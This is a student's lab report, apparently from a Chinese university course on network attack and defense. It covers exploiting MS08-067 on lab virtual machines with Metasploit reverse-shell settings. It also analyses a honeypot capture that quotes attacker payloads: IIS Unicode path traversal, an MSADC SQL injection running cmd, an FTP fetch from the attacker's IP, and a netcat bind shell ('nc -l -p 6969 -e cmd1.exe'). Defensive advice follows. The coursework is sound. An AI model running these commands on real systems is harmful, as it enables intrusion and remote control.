20252812 2025-2026-2 《网络攻防实践》实践六报告
20252812 2025-2026-2 《网络攻防实践》实践六报告
1.实践内容
1.1 Windows概述
Windows是目前市场上占统治地位的操作系统。在2010年12月,Windows在桌面操作系统中占据近88%的市场份额。Windows采用宏内核模式进行架构,大量内核模块与设备驱动程序共享内核态内存空间,这使得任意内核模块或设备驱动程序都可能破坏其他内核模块数据。宏内核机制也使Windows易于遭受以驱动模式植入内核的Rootkit的危害。Windows为每个用户和计算机通过设置账户进行管理,作为这些安全主体运行程序代码的环境,账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。Windows系统中有具有最高权限的本地Administrator账户、SYSTEM账户、以及权限极少的Guest账户。
1.2 针对漏洞开展攻击
针对一个特定主机系统目标,典型渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试几个环节。渗透测试者可以通过扫描目标系统发现系统中存在的已知安全漏洞。漏洞探测工具给出漏洞检查结果后,渗透测试者可以根据结果提供的漏洞索引号,在漏洞信息披露库中查找关于该漏洞的详细技术信息。依据漏洞的利用条件和后果类型,渗透测试者就可以确定该漏洞对他的渗透过程是否有价值。
1.3 Windows本地安全攻防技术
攻击者获得Windows的受限用户权限后,立即着眼于终极特权:Administrator或SYSTEM。Windows系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。获得Administrator权限后,攻击者通常会继续在系统上收集和窃取敏感信息,从而帮助他们扩大战果,在局域网络中攻陷更多的系统。Meterpreter是个先进的、可动态扩展的攻击负载模块,使用了分阶段DLL注入的高级技术,来植入到远程目标系统中。Meterpreter的设计目标有以下几个方面:1.隐蔽性。Meterpreter使用加密的网络通道,避免自己在网络上被发现。2.功能强大。Meterpreter采用的TLV协议的局限性很小。3.灵活可扩展。需要重复使用Meterpreter时,不用重新编译Meterpreter。
1.4 实践概述
1.4.1 实践Metasploit windows attacker
使用攻击机尝试对一台windows Metasploitable靶机上的MS08-067漏洞开展远程渗透攻击,从而获取目标主机的访问权。
1.4.2 取证分析
教师提供了一个攻击者攻击一台蜜罐主机,进而导致蜜罐主机上留下的日志文件。分析此日志文件,得出攻击者使用了何种工具、该如何防范这种攻击等结论。
1.4.3 开展远程渗透攻击和分析
攻击者使用Metasploit针对一台远程Windows物理机或虚拟机上的漏洞开展攻击并获得控制权,要提供攻击方的信息。被攻击的一方使用Wireshark监听网络数据流,分析攻击原理。
2.实践过程
2.1 攻击MS08-067漏洞
在本实验任务中,攻击机是我的Kali虚拟机,其IP地址为192.168.173.68,靶机是一台Windows XP虚拟机,其IP地址为192.168.173.69。我将使用Kali虚拟机利用靶机上的MS08-067漏洞获取系统控制权。在Kali上,输入msfconsole,即可进入metasploit的控制界面。

输入search ms08_067,即可看到一系列攻击模块,总共有83个,它们针对不同版本和语言的Windows。

在靶机上,执行ipconfig即可查看到其IP地址为192.168.173.69。

输入use 0,并回车,表示采用第一个攻击模块。然后输入set payload payload/generic/shell_reverse_tcp,表示让靶机主动通过TCP协议提供shell。输入set RHOST 192.168.173.69,将靶机设置为Windows XP虚拟机。再执行set RPORT 37407,表示要让靶机连到攻击机的37407号端口。执行show options,查看当前的模块设置,发现模块的参数已被正确设置,已为攻击做好了准备。

执行exploit,然后Kali的终端显示了攻陷靶机的过程,随后出现了“C:\WINDOWS\system32>”这个提示符,表示攻击成功了,攻击机得到了靶机的shell。然后我就新建了G6V这个文件夹,并新建了8Tx.txt,并将一个杂乱字符串输入进了8Tx.txt,我还执行了net user,用于查看所有用户的名称。能执行这些命令说明攻击机已得到目标系统的访问权。

打开靶机,发现确实在新建的G6V文件夹中创建了文本文件。

2.2 解码NT系统破解攻击
我将学习通上的demo_NT_attack_data.zip下载了下来,解压出了其中的log文件,将其重命名为嘏。.pcap,然后用Wireshark打开。用((ip.addr == 213.116.251.162)&&(ip.addr == 172.16.1.106))进行过滤,得到了与此次攻击有关的报文。一共有4845个数据包。

2.2.1 提取并分析攻击的全过程
2.2.1.1 踩点阶段
前20%数据包展现了攻击者初始踩点过程。在这一阶段,攻击者与靶机的80端口开展了很多次连接,攻击机的端口号从1760增加到了1885。在这一阶段,攻击者基本上没有使用HTTP以外的其他协议。靶机给攻击机的HTTP应答报文中有“Microsoft-IIS/4.0”,这使得攻击者知道靶机的服务软件是Microsoft-IIS,版本是4.0。

117号数据包中,攻击者发送了针对/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini的GET请求,靶机的IIS收到此请求后,首先进行权限检查,这样跳出Web目录的请求当然不会被放行,但是这里有%C0%AF,IIS暂时不解析这种编码,于是IIS误认为这个请求没有申请进行一些越权操作,进入下一步,IIS对请求的路径进行解码,此时%C0%AF会被识别为Unicode编码,并被解码为“/”,于是原路径被解释为/guest/default.asp/../../../../../../boot.ini。接下来IIS执行操作,它会根据这个路径进行六次回退操作,直至C盘根目录,然后在根目录寻找boot.ini。

2.2.1.2 注册端口与80端口混杂阶段
20%到85%之间的数据包中大部分是攻击机的一千多号端口与靶机的6969、6968、6868这样的注册端口号进行TCP通信,其中很多报文都带有PSH标志位,用于指示接收方尽快将收到的数据交给上层应用,而不是等待缓冲区被填满再交付。20%到85%之间的数据包中,还有攻击机与靶机的80端口通信的报文,以及使用FTP协议以及ICMP协议的少数数据包。在这一阶段,攻击机已经攻破了靶机,他在靶机上执行一系列操作。用Wireshark跟踪一个攻击机的1888端口与靶机的6969端口通信的流,会发现攻击者利用这个会话执行靶机的系统命令。下面的截图中,攻击者用net name命令查看靶机上用于接收消息的别名,用net user命令查看用户,在C:\Program Files\Common Files\System\msadc\目录中执行了dir命令,还执行了两个错误的命令。

2.2.1.3 HTTP与FTP阶段
整个日志文件剩下的15%的数据包中,前面一部分是攻击机与靶机的80号端口的HTTP通信过程,后一部分是攻击机与靶机的21、20号端口进行FTP通信的过程。这一部分不存在攻击机与靶机的注册端口进行shell命令交互的数据包。跟踪HTTP通信过程中的228号流,可以发现攻击者一直在尝试获取lrfpbot.gif、win2k.gif等图片,但是服务器的响应码往往是304,表示客户端发送了一个带条件且已被允许的的GET请求,而文档的内容自上次访问以来并没有改变。但有一次攻击机请求时,靶机返回了200 OK,并提供了一个HTML网页,里面有一些扩展名是gif的图片以及一些链接。

在FTP交互阶段,先开始攻击者和靶机21号端口通信,传输FTP控制信息,通过跟踪数据流会发现,攻击者输入了正确的用户名和口令,从而登录进了靶机的FTP服务,用户名和口令是以明文传输的。

接着攻击者和靶机的20号端口通信,传输FTP数据。打开其中一个TCP流会发现一大堆乱码,这些应该是通过FTP协议传输的文件数据,数据开头有whisker.tar,说明这些数据应该是whisker.tar这个压缩包的数据。

2.2.2 解答问题
2.2.2.1 攻击者使用了什么破解工具进行攻击?
打开149号数据包,里面出现了“!ADM!ROX!YOUR!WORLD!”,还有“cmd /c echo werd >> c:\fun”这样的命令,在网上查阅资料可知,攻击者是用msadc.pl或msadc2.pl这样的破解工具进行的攻击。

2.2.2.2 攻击者如何使用这个破解工具进入并控制了系统?
查看13号HTTP流,会发现攻击者用GET请求申请获取/msadc/msadc.dll,msadc.dll是IIS 4.0中MSADC的核心组件,对应RDS(远程数据服务)漏洞。攻击者想通过利用RDS漏洞任意执行系统指令。服务器针对此请求回复HTTP/1.1 200 OK,说明这个漏洞确实可被利用。

用tcp.stream eq 14筛选十四号流数据,然后追踪TCP流,也发现了恶意信息。攻击机通过AdvancedDataFactory.Query方法调用Access数据库的扩展存储过程,为后续的SQL注入做准备。后续出现恶意SQL代码:Select * from Customers where City='|shell("cmd /c echo user johna2k > ftpcom")|',这是一次SQL注入,通过Access驱动调用cmd.exe执行恶意指令。接着靶机返回200OK,说明注入成功。

查看98号流数据,重要的是第一行的GET操作。这里通过%C0%AF实现向根目录返回。“cmd1.exe?/c+echo+open+213.116.251.162+>ftpcom”表明攻击者希望利用靶机的cmd1.exe执行命令echo open 213.116.251.162 > ftpcom,其中213.116.251.162是攻击机的IP地址。但是这个GET操作没有成功,服务器返回502 Gateway Error表明执行通道临时异常了。

TCP的106号流是靶机的21号端口和攻击机的3142号端口间的FTP控制信息连接。传输的信息中有RETR nc.exe、RETR pdump.exe、RETR samdump.dll。RETR是用于从FTP服务器下载数据用的命令。此处
表明攻击机从靶机下载nc.exe、pdump.exe、samdump.dll。nc.exe用于建立反向shell连接。pdump.exe、samdump.dll与口令有关,下载这三个工具是在为后续的攻击做准备。

1233号数据包中的请求部分有“cmd1.exe?/c+nc+-l+-p+6969+-e+cmd1.exe”,表示要通过靶机的cmd1.exe执行“nc -l -p 6969 -e cmd1.exe”,这条指令的意思是在6969号端口监听,一旦监听到连接请求,就把自己的cmd1.exe提供给对方。靶机执行“nc -l -p 6969 -e cmd1.exe”后,攻击机向其6969端口发送TCP连接请求,就可以得到靶机的shell了。

总的来说,攻击者借助msadc.pl或msadc2.pl利用靶机漏洞、进行SQL注入、让靶机的端口和shell绑定,从而实现控制靶机系统。
2.2.2.3 攻击者获得系统访问权限后做了什么?
攻击者获得系统访问权后,做了以下六件事。
- 1 探索系统 攻击者遍历了C盘根目录、msadc目录、exploits目录,从而获取到了与靶机的文件结构、漏洞库、服务状态有关的信息。
- 2 工具确认 攻击者确认samdump.dll、nc.exe、pdump.exe已被下载到了靶机。
- 3 获取用户和组信息 执行了net localgroup administrators、net user等,获取系统中有哪些组、有哪些用户的信息。
- 4 口令提取 尝试获取系统中口令的哈希值,但是因为权限不足失败了。
- 5 痕迹清理 删除密码学工具、测试文件、FTP脚本等,清理掉攻击的痕迹。
- 6 尝试提权 尝试在靶机系统中提权,但是因为靶机报错而失败了。
下面结合具体截图说明攻击者干的部分事。
打开111号TCP流的数据,可以看到攻击者在msadc文件夹中用dir命令获取文件夹内容。

在111号TCP流的数据中,还可看到攻击者用net localgroup administrators命令查看administrators这个组的信息。

在111号TCP流的数据中,攻击者还在C:\这个根目录下执行dir以查看文件夹信息。

打开169号TCP流的数据,可以看到攻击者执行了一些以del开头的指令,这些删除文件的指令用于清除攻击的痕迹。例如下图中的del har.txt应该就是用于清除痕迹的,har.txt里记录了一些与本次攻击有关的信息。

2.2.2.4 我们如何防止这样的攻击?
2.2.2.4.1 检查SQL语句
SQL语句中可能包含系统命令。若没有对SQL语句进行检查就执行,就可能执行其中的命令,导致恶意代码对系统产生破坏。
2.2.2.4.2 管好cmd
对于Windows主机上的cmd.exe,需要我们保管好,我们要将它存放在比较隐蔽的路径下,而且要求只有具有管理员权限的账户才能使用它。还应当想办法避免nc.exe等通讯工具将cmd.exe之类的shell软件提供给外界。
2.2.2.4.3 修补漏洞
一般来说Microsoft在发现Windows系统存在某个漏洞后,都会发布补丁,让用户通过更新系统等方式安装这个补丁。如果没及时安装补丁,就给了攻击者可乘之机。我们还应该自己经常使用360安全中心等软件扫描漏洞,及时修补扫描出的漏洞。
2.2.2.5 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
我觉得攻击者警觉了他的目标是一台蜜罐主机。因为打开4351号数据包后可以发现攻击者利用靶机的shell执行了一条系统命令:echo best honeypot i've seen till now :) > rfp.txt。其中“best honeypot i've seen till now”意思是我迄今为止见过的最好的蜜罐,说明攻击者此时已意识到他的目标是台蜜罐主机。

2.3 Windows远程渗透和分析
2.3.1 准备工作
本次攻防对抗中,我的Kali是攻击方,雷钊的Win2kServer_SP0_target是靶机。本次攻击利用的漏洞是MS08-067。我的Kali的IP地址为192.168.1.105,雷钊的Win2k的IP地址为192.168.1.107。我的Kali攻击机的系统版本是6.18.12,架构是x86_64,我的Kali上安装的metasploit的版本是6.4.116。 初始时,我把Kali关机,将其网络设置为桥接模式。

开机后,Kali的IP地址变为192.168.1.105,确实在宿舍局域网的192.168.1.0/24这个网段下。雷钊也把他的Win2k虚拟机设置为了桥接模式,但是IP地址还是没有处于192.168.1.0/24这个网段下,经过一番操作(详见“学习中遇到的问题及解决”),他让Win2k的IP地址变为了192.168.1.107。然后我的虚拟机能ping通雷钊的Win2k了。

我让雷钊在他的物理主机上开启Wireshark监听,从而捕获稍后的攻击报文,雷钊的物理主机处于宿舍局域网中,能捕获我的Kali和雷钊的Win2k之间的交互报文。
2.3.2 攻破靶机
我进入了Kali的metasploit,输入msfconsole进入metasploit的控制台。然后search ms08_067,发现0号模块(exploit/windows/smb/ms08_067_netapi)是我需要的,于是我输入“use 0”使用exploit/windows/smb/ms08_067_netapi,再依次执行“set payload payload/generic/shell_reverse_tcp”、“set RHOST 192.168.1.107”、“set LPORT 18935”,使得采用能建立反弹Shell连接的payload,使靶机IP地址被确定为雷钊的Win2k的IP地址,使我的Kali的监听端口号成为18935,其他保持默认,然后执行show options查看配置,发现配置没有问题。


执行exploit,开始攻击靶机,Kali的终端显示一些攻击过程后,就进入了靶机的命令行界面,攻击取得了成功。我执行“mkdir Xueqiancheng82”建立了名为Xueqiancheng82的文件夹,然后在这个文件夹中新建了20252812KrC.txt,并输入了一个初始字符串进去。

雷钊终止了线鲨监听,把保存的pcapng文件文件发给了我。然后他打开Win2k,发现我确实新建了C:\WINNT\system32\Xueqiancheng82\20252812KrC.txt,并写入了一个杂乱的字符串进去。

2.3.3 分析攻击过程
我打开雷钊发给我的pcapng文件,用((ip.addr == 192.168.1.105)&&(ip.addr == 192.168.1.107))进行过滤,得到了与此次攻击有关的报文。一共有143个报文,且可以被划分为三部分:1.试探部分。192.168.1.105 ping 192.168.1.107的数据包,有九个这样的数据包。2.破解部分。192.168.1.105:43159与192.168.1.107:445进行双向通信,采用的协议是SMB。这一部分的报文占报文总数的一半左右,攻击机开展这部分通信主要是为了攻破靶机。3.Shell部分。192.168.1.105:18935与192.168.1.107:1097开展双向通信,此时靶机已经把自己的Shell提供给了攻击机,攻击机通过一系列命令操作靶机。
在过滤器输入tcp.stream eq 81即可过滤出破解部分的数据包。前4个报文用于建立TCP连接,其中第二次握手的报文被重传了一次,第三次握手的报文未携带数据。

MS08-067漏洞全称为“Windows Server服务 RPC请求缓冲区溢出漏洞”,攻击者使具有这种漏洞的靶机发生缓冲区溢出,从而让靶机执行恶意代码。产生漏洞的原因是攻击者通过SMB协议向靶机发送一个超长路径,靶机会调用NetPathCanonicalize函数去整理路径,但这个函数对应的缓冲区大小有限,超长路径会占满这个缓冲区,然后溢出,覆盖栈中的返回地址,然后靶机继续执行程序会导致NetPathCanonicalize函数被执行完后未正常返回,而是开始执行攻击者的恶意代码。破解部分报文中最关键的数据包是5964号数据包,这个数据包用于发送一个路径给靶机,希望靶机调用NetPathCanonicalize函数处理这条路径。数据包的数据部分中被Wireshark标记为NetPathCanonicalize.path的内容就是希望靶机处理的路径。这条路径显然不符合正常的路径格式,而且长达618字节,且包含很多非ASCII字符。攻击者希望把返回地址篡改成的值以及想执行的恶意代码都在这个超长路径中。靶机收到这个路径后,会调用NetPathCanonicalize函数处理此路径,但此函数不会检测路径长度是否超出规定值,因此会把路径中所有内容都复制到内存,导致缓冲区溢出、执行恶意代码。

在过滤器输入tcp.stream eq 82可查看Shell部分的所有数据包。在Shell部分中,一开始的五个报文用于建立TCP连接。第一个连接请求报文是192.168.1.107:1097主动连接192.168.1.105:18935的数据包,说明靶机主动将Shell提供给攻击机。攻击机的18935号端口就是在攻击模块中设置好的LPORT。第一次和第三次握手的数据包分别被重传了一次。第三次握手的数据包不携带数据。

查看192.168.1.105:18935与192.168.1.107:1097之间通信的数据流,可以看出数据流的主要内容正是攻击机通过靶机提供的Shell操纵靶机。攻击机通过这个shell执行了echo、cd、mkdir等命令。

3.学习中遇到的问题及解决
- 问题1:做第三部分──Windows远程渗透和分析时,把攻击方、防守方的两台虚拟机的网络都设置为桥接模式后,还是无法互相ping通。
- 问题1解决方案:我和雷钊分别检查自己虚拟机的IP地址是否为本地网段IP地址,雷钊发现他的Win2k的IP地址在192.168.200.124,不在宿舍局域网网段下。然后雷钊重启Win2k,结果在重启后Win2k的IP地址还在192.168.200.0/24网段下,于是雷钊进入Win2k的控制面板修改其IP地址,强制修改为192.168.1.107,这样一来他的Win2k就处于宿舍的局域网中了,就和我的Kali能ping通了。
- 问题2:做第一部分实验任务时,靶机确实是Metasploitable Windows XP,但是攻击不成功。
- 问题2解决方案:这种情况下,可能要手动开启靶机上的445号端口。用nmap -sS -p 445 [靶机的IP地址]扫描靶机的445端口,若检查出445端口是关闭的,就要在“运行”中输入“services.msc”,打开服务管理器,找到名称是Server的服务,将它的Status设置为Started。
4.实践总结
我感觉本次实践是我迄今为止做过的六个实践中最难的一个,难的原因主要是在实验的第二、第三部分都要分析线鲨抓包,但是抓包数据量很大,很难分析。
进行第二部分的数据包分析时,总共有四千多个数据包,而且涉及到HTTP、TCP、FTP、ICMP等诸多协议,而且还存在协议交替使用(例如交替使用TCP和HTTP),我看着就觉得头大。但是我想到既然数据包这么多,我不可能逐一分析,当然王老师也不会要求我逐一分析数据包,那么我分析重点数据包就行。于是我通过查看其他同学的实验报告得到了关键数据包的编号以及要分析的具体内容(例如数据流中的某个字符串),就知道该怎么比较简洁地分析了。通过抓住重点,我实现了删繁就简。
我的电脑的操作系统是Windows11,通过本次实验,我意识到Windows XP是不安全的、实验的第二部分中的Windows NT也是不安全的。那么Windows11作为最先进的Windows系统,是否就是安全的呢?我原本觉得安全极了,但是一问Deepseek,我才知道Windows11存在CVE-2026-33829(截图工具欺骗漏洞)、CVE-2026-20817(一种本地权限提升漏洞)、CVE-2026-20841(一种远程代码执行漏洞)等大量漏洞,一点也不安全!所以必须经常安装Microsoft发布的新版系统啊。

浙公网安备 33010602011771号